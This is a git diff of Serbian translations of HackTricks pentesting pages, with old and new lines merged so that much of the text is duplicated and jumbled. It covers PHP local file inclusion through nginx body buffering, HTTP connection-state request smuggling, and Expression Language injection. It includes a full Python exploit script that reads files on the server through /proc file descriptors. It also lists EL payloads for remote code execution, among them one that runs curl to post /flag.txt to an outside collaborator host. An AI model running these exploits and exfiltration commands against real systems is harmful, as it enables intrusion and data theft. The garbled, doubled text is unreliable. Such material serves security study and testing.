* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io) ### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač na **dark web-u** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **malvera za krađu**. [**WhiteIntel**](https://whiteintel.io) je **dark-web** pretraživač koji nudi **besplatne** funkcionalnosti za proveru da li je neka kompanija ili njeni klijenti **kompromitovani** od strane **stealer malvera**.
Primarni cilj WhiteIntel-a je borba protiv preuzimanja naloga i napada ransomvera koji proizilaze iz malvera za krađu informacija. Njihov primarni cilj je da se bore protiv preuzimanja naloga i ransomware napada koji proizlaze iz malvera koji krade informacije.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na: Možete proveriti njihovu veb stranicu i isprobati njihov pretraživač **besplatno** na:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
*** ***
## Ranjiva konfiguracija ## Ranjavajuća konfiguracija
[**Primer sa https://bierbaumer.net/security/php-lfi-with-nginx-assistance/**](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/) [**Primer sa https://bierbaumer.net/security/php-lfi-with-nginx-assistance/**](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
@ -36,26 +37,26 @@ Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno
\`\`\`\`h\` \`\`\`\`h\`
/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` Napomena: U ovom primeru nije moguće direktno uključiti \`/proc/34/fd/15\` jer bi PHP-ova funkcija \`include\` rešila putanju kao \`/var/lib/nginx/body/0000001368 (deleted)\` što ne postoji u fajl sistemu. Ovo ograničenje može srećom biti zaobiđeno nekom vrstom indirekcije kao što je: \`/proc/self/fd/34/../../../34/fd/15\` što će na kraju izvršiti sadržaj izbrisane datoteke \`/var/lib/nginx/body/0000001368\` ## Potpuni eksploatacija \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # eksploatacija lokalnog uključivanja fajlova (LFI) putem nginx-ove pomoći za baferisanje tela klijenta # pogledajte https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ za detalje URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # pronađi nginx radne procese r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] nginx worker found: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # otpremi veliko telo klijenta da bi naterao nginx da kreira /var/lib/nginx/body/$X def uploader(): print('\[+] starting uploader') while not done: requests.get(URL, data=' //' /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (obrisano) ... \`\`\` Napomena: Ne može se direktno uključiti \`/proc/34/fd/15\` u ovom primeru jer bi PHP-ova \`include\` funkcija rešila putanju na \`/var/lib/nginx/body/0000001368 (obrisano)\` koja ne postoji u datotečnom sistemu. Ova mala ograničenja se srećom mogu zaobići nekim indirekcijama kao što su: \`/proc/self/fd/34/../../../34/fd/15\` koja će konačno izvršiti sadržaj obrisanog \`/var/lib/nginx/body/0000001368\` fajla. ## Potpuni Eksploit \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # eksploatacija PHP lokalne uključivanja fajlova (LFI) putem nginx-ove pomoći u keširanju klijentskog tela # vidi https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ za detalje URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # pronađi nginx radne procese r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] nginx radnik pronađen: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # otpremi veliki klijentski sadržaj da natera nginx da kreira /var/lib/nginx/body/$X def uploader(): print('\[+] započinjem otpremanje') while not done: requests.get(URL, data=' //'
``` ```
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload))))) requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
except: except:
pass pass
``` ```
```html ```python
def send_payload_worker(requests_session): while True: send_payload(requests_session) def send\_payload\_worker(requests\_session): while True: send\_payload(requests\_session)
def send_payload_multiprocess(requests_session): # Koristi sve CPU-ove za slanje payloada kao tela zahteva za Nginx for _ in range(multiprocessing.cpu_count()): p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,)) p.start() def send\_payload\_multiprocess(requests\_session): # Iskoristite sve CPU-ove da pošaljete payload kao telo zahteva za Nginx za \_ in range(multiprocessing.cpu\_count()): p = multiprocessing.Process(target=send\_payload\_worker, args=(requests\_session,)) p.start()
def generate_random_path_prefix(nginx_pids): # Ova metoda kreira putanju od nasumičnog broja komponenti putanja ProcFS-a. Generisana putanja će izgledati kao /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root path = "" component_num = random.randint(0, 10) for _ in range(component_num): pid = random.choice(nginx_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path def generate\_random\_path\_prefix(nginx\_pids): # Ova metoda kreira putanju od nasumičnog broja ProcFS komponenti putanje. Generisana putanja će izgledati kao /proc/\<nginx pid 1>/cwd/proc/\<nginx pid 2>/root/proc/\<nginx pid 3>/root path = "" component\_num = random.randint(0, 10) for \_ in range(component\_num): pid = random.choice(nginx\_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path
def read_file(requests_session, nginx_pid, fd, nginx_pids): nginx_pid_list = list(nginx_pids) while True: path = generate_random_path_prefix(nginx_pid_list) path += f"/proc/{nginx_pid}/fd/{fd}" try: d = requests_session.get(SERVER + f"/?action=include&file={path}").text except: continue # Zastave su formatirane kao hxp{} if "hxp" in d: print("Pronađena zastava! ") print(d) def read\_file(requests\_session, nginx\_pid, fd, nginx\_pids): nginx\_pid\_list = list(nginx\_pids) while True: path = generate\_random\_path\_prefix(nginx\_pid\_list) path += f"/proc/{nginx\_pid}/fd/{fd}" try: d = requests\_session.get(SERVER + f"/?action=include\&file={path}").text except: continue # Zastavice su formatirane kao hxp{} if "hxp" in d: print("Pronađena zastavica! ") print(d)
def read_file_worker(requests_session, nginx_pid, nginx_pids): # Skenira Nginx FD-ove između 10 - 45 u petlji. Pošto se fajlovi i soketi stalno zatvaraju - vrlo je uobičajeno da se FD zahteva tela otvori unutar ovog opsega for fd in range(10, 45): thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids)) thread.start() def read\_file\_worker(requests\_session, nginx\_pid, nginx\_pids): # Skener Nginx FD-ova između 10 - 45 u petlji. Pošto se datoteke i soketi često zatvaraju - vrlo je uobičajeno da se FD tela zahteva otvori unutar ovog opsega za fd in range(10, 45): thread = threading.Thread(target = read\_file, args = (requests\_session, nginx\_pid, fd, nginx\_pids)) thread.start()
def read_file_multiprocess(requests_session, nginx_pids): for nginx_pid in nginx_pids: p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids)) p.start() def read\_file\_multiprocess(requests\_session, nginx\_pids): for nginx\_pid in nginx\_pids: p = multiprocessing.Process(target=read\_file\_worker, args=(requests\_session, nginx\_pid, nginx\_pids)) p.start()
if __name__ == "main": print('[DEBUG] Kreiranje sesije zahteva') requests_session = create_requests_session() print('[DEBUG] Dobijanje Nginx PID-ova') nginx_pids = get_nginx_pids(requests_session) print(f'[DEBUG] Nginx PID-ovi: {nginx_pids}') print('[DEBUG] Pokretanje slanja payloada') send_payload_multiprocess(requests_session) print('[DEBUG] Pokretanje čitača FD-ova') read_file_multiprocess(requests_session, nginx_pids) if **name** == "**main**": print('\[DEBUG] Kreiranje zahteva sesije') requests\_session = create\_requests\_session() print('\[DEBUG] Dobijanje Nginx pids') nginx\_pids = get\_nginx\_pids(requests\_session) print(f'\[DEBUG] Nginx pids: {nginx\_pids}') print('\[DEBUG] Pokretanje slanja payload-a') send\_payload\_multiprocess(requests\_session) print('\[DEBUG] Pokretanje FD čitača') read\_file\_multiprocess(requests\_session, nginx\_pids)
``` ```
``` ```

View file

@ -1,24 +1,27 @@
# HTTP Zahtev za Smuggling Povezivanjem # HTTP Connection Request Smuggling
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
* Da li radite u **kompaniji za sajber bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
**Ovo je sažetak posta** [**https://portswigger.net/research/browser-powered-desync-attacks**](https://portswigger.net/research/browser-powered-desync-attacks) **Ovo je sažetak posta** [**https://portswigger.net/research/browser-powered-desync-attacks**](https://portswigger.net/research/browser-powered-desync-attacks)
## Napadi na Stanje Povezivanja <a href="#state" id="state"></a> ## Napadi na stanje veze <a href="#state" id="state"></a>
### Validacija Prvog Zahteva ### Validacija prvog zahteva
Prilikom usmeravanja zahteva, reverzni proksi mogu zavisiti od **Host zaglavlja** kako bi odredili odredišni server na pozadini, često se oslanjajući na belu listu hostova koji imaju dozvoljen pristup. Međutim, postoji ranjivost u nekim proksijima gde se bela lista primenjuje samo na početni zahtev u vezi. Stoga, napadači mogu iskoristiti ovo tako što prvo šalju zahtev dozvoljenom hostu, a zatim traže interni sajt kroz istu vezu: Kada usmeravaju zahteve, reverzni proksi mogu zavisiti od **Host header** da odrede odredišni back-end server, često se oslanjajući na belu listu hostova kojima je dozvoljen pristup. Međutim, postoji ranjivost u nekim proksijima gde se bela lista primenjuje samo na inicijalni zahtev u vezi. Kao rezultat, napadači bi mogli iskoristiti ovo tako što bi prvo poslali zahtev ka dozvoljenom hostu, a zatim tražili interni sajt kroz istu vezu:
``` ```
GET / HTTP/1.1 GET / HTTP/1.1
Host: [allowed-external-host] Host: [allowed-external-host]
@ -26,9 +29,9 @@ Host: [allowed-external-host]
GET / HTTP/1.1 GET / HTTP/1.1
Host: [internal-host] Host: [internal-host]
``` ```
### Rutiranje prvog zahteva ### Prvo-zahtjev Usmjeravanje
U nekim konfiguracijama, prednji server može koristiti **Host zaglavlje prvog zahteva** da odredi rutiranje ka pozadinskom serveru za taj zahtev, a zatim trajno rutirati sve naredne zahteve sa iste klijentske konekcije ka istoj pozadinskoj konekciji. Ovo se može demonstrirati kao: U nekim konfiguracijama, front-end server može koristiti **Host zaglavlje prvog zahtjeva** da odredi pozadinsko usmjeravanje za taj zahtjev, a zatim trajno usmjerava sve naredne zahtjeve iz iste klijentske veze na istu pozadinsku vezu. Ovo se može demonstrirati kao:
``` ```
GET / HTTP/1.1 GET / HTTP/1.1
Host: example.com Host: example.com
@ -36,20 +39,23 @@ Host: example.com
POST /pwreset HTTP/1.1 POST /pwreset HTTP/1.1
Host: psres.net Host: psres.net
``` ```
Ovaj problem potencijalno može biti kombinovan sa [napadima na zaglavlje domaćina](https://portswigger.net/web-security/host-header), poput otrovanja za resetovanje lozinke ili [otrovanja veb keša](https://portswigger.net/web-security/web-cache-poisoning), kako bi se iskoristile druge ranjivosti ili stekao neovlašćen pristup dodatnim virtuelnim hostovima. Ovaj problem se potencijalno može kombinovati sa [napadima na Host header](https://portswigger.net/web-security/host-header), kao što su trovanje resetovanjem lozinke ili [trovanje web kešom](https://portswigger.net/web-security/web-cache-poisoning), kako bi se iskoristile druge ranjivosti ili dobio neovlašćen pristup dodatnim virtuelnim hostovima.
{% hint style="info" %} {% hint style="info" %}
Za identifikaciju ovih ranjivosti, može se koristiti funkcija 'connection-state probe' u HTTP Request Smuggler alatu. Da bi se identifikovale ove ranjivosti, može se iskoristiti funkcija 'connection-state probe' u HTTP Request Smuggler.
{% endhint %} {% endhint %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,62 +1,65 @@
# EL - Expression Language # EL - Expression Language
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
* Da li radite u **kompaniji za sajber bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io) ### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark-webom** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **malvera za krađu**. [**WhiteIntel**](https://whiteintel.io) je **dark-web** pretraživač koji nudi **besplatne** funkcionalnosti za proveru da li je neka kompanija ili njeni klijenti **kompromitovani** od strane **stealer malwares**.
Njihov primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomvera koji proizilaze iz malvera za krađu informacija. Njihov primarni cilj je da se bore protiv preuzimanja naloga i ransomware napada koji proizlaze iz malvera za krađu informacija.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na: Možete proveriti njihovu veb stranicu i isprobati njihov pretraživač **besplatno** na:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
*** ***
## Osnovne Informacije ## Bsic Info
Expression Language (EL) je integralan u JavaEE za povezivanje sloja prezentacije (npr. veb stranice) i aplikacione logike (npr. upravljanih beanova), omogućavajući njihovu interakciju. On se pretežno koristi u: Expression Language (EL) je integralni deo JavaEE za povezivanje prezentacionog sloja (npr. veb stranice) i aplikacione logike (npr. upravljani beani), omogućavajući njihovu interakciju. Pretežno se koristi u:
* **JavaServer Faces (JSF)**: Za povezivanje UI komponenti sa backend podacima/akcijama. * **JavaServer Faces (JSF)**: Za povezivanje UI komponenti sa podacima/akcijama na backendu.
* **JavaServer Pages (JSP)**: Za pristup podacima i manipulaciju unutar JSP stranica. * **JavaServer Pages (JSP)**: Za pristup i manipulaciju podacima unutar JSP stranica.
* **Contexts and Dependency Injection for Java EE (CDI)**: Za olakšavanje interakcije sloja veba sa upravljanim beanovima. * **Contexts and Dependency Injection for Java EE (CDI)**: Za olakšavanje interakcije veb sloja sa upravljanim bean-ima.
**Konteksti Upotrebe**: **Konteksti korišćenja**:
* **Spring Framework**: Primenjen u različitim modulima poput Security i Data. * **Spring Framework**: Primena u raznim modulima kao što su Bezbednost i Podaci.
* **Opšta Upotreba**: Kroz SpEL API od strane programera u jezicima zasnovanim na JVM-u poput Java, Kotlin i Scala. * **Opšta upotreba**: Kroz SpEL API od strane programera u JVM-baziranim jezicima kao što su Java, Kotlin i Scala.
EL je prisutan u JavaEE tehnologijama, samostalnim okruženjima, i prepoznatljiv kroz ekstenzije fajlova `.jsp` ili `.jsf`, greške steka, i termine poput "Servlet" u zaglavljima. Međutim, njegove funkcije i korišćenje određenih karaktera mogu zavisiti od verzije. EL je prisutan u JavaEE tehnologijama, samostalnim okruženjima, i prepoznaje se kroz `.jsp` ili `.jsf` ekstenzije datoteka, greške u steku i termine kao što su "Servlet" u zaglavljima. Međutim, njegove karakteristike i upotreba određenih karaktera mogu zavisiti od verzije.
{% hint style="info" %} {% hint style="info" %}
Zavisno o **EL verziji** neke **funkcionalnosti** mogu biti **uključene** ili **isključene** i obično neki **karakteri** mogu biti **zabranjeni**. U zavisnosti od **EL verzije** neke **karakteristike** mogu biti **Uključene** ili **Isključene** i obično neki **karakteri** mogu biti **zabranjeni**.
{% endhint %} {% endhint %}
## Osnovni Primer ## Basic Example
(Možete pronaći još jedan zanimljiv tutorijal o EL-u na [https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/)) (Možete pronaći još jedan zanimljiv tutorijal o EL na [https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/))
Preuzmite sa [**Maven**](https://mvnrepository.com) repozitorijuma jar fajlove: Preuzmite iz [**Maven**](https://mvnrepository.com) repozitorijuma jar datoteke:
* `commons-lang3-3.9.jar` * `commons-lang3-3.9.jar`
* `spring-core-5.2.1.RELEASE.jar` * `spring-core-5.2.1.RELEASE.jar`
* `commons-logging-1.2.jar` * `commons-logging-1.2.jar`
* `spring-expression-5.2.1.RELEASE.jar` * `spring-expression-5.2.1.RELEASE.jar`
I kreirajte sledeći fajl `Main.java`: I kreirajte sledeću `Main.java` datoteku:
```java ```java
import org.springframework.expression.Expression; import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser; import org.springframework.expression.ExpressionParser;
@ -77,7 +80,7 @@ System.out.println(result);
} }
} }
``` ```
Zatim kompajlirajte kod (ako nemate instaliran `javac`, instalirajte `sudo apt install default-jdk`): Sledeće kompajlirajte kod (ako nemate `javac` instaliran, instalirajte `sudo apt install default-jdk`):
```java ```java
javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
``` ```
@ -88,7 +91,7 @@ Enter a String to evaluate:
{5*5} {5*5}
[25] [25]
``` ```
Primetite kako je u prethodnom primeru termin `{5*5}` **procenjen**. Napomena kako je u prethodnom primeru termin `{5*5}` bio **evaluiran**.
## **CVE zasnovan tutorijal** ## **CVE zasnovan tutorijal**
@ -96,7 +99,7 @@ Proverite u **ovom postu:** [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff
## Payloads ## Payloads
### Osnovne radnje ### Osnovne akcije
```bash ```bash
#Basic string operations examples #Basic string operations examples
{"a".toString()} {"a".toString()}
@ -120,14 +123,14 @@ Proverite u **ovom postu:** [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff
{"".getClass().forName("java.util.Date").getMethods()[0].toString()} {"".getClass().forName("java.util.Date").getMethods()[0].toString()}
[public boolean java.util.Date.equals(java.lang.Object)] [public boolean java.util.Date.equals(java.lang.Object)]
``` ```
### Otkrivanje ### Detection
* Burp detekcija * Burp detekcija
```bash ```bash
gk6q${"zkz".toString().replace("k", "x")}doap2 gk6q${"zkz".toString().replace("k", "x")}doap2
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression. #The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
``` ```
* Detekcija J2EE * J2EE otkrivanje
```bash ```bash
#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer): #J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
@ -147,7 +150,7 @@ https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlCo
``` ```
### RCE ### RCE
* Osnovno objašnjenje RCE **objašnjenje** * Osnovna **objašnjenja** RCE
```bash ```bash
#Check the method getRuntime is there #Check the method getRuntime is there
{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()} {"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
@ -163,7 +166,7 @@ https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlCo
# With HTMl entities injection inside the template # With HTMl entities injection inside the template
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'> <a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
``` ```
* Izvršenje udaljenih komandi **linux** * RCE **linux**
```bash ```bash
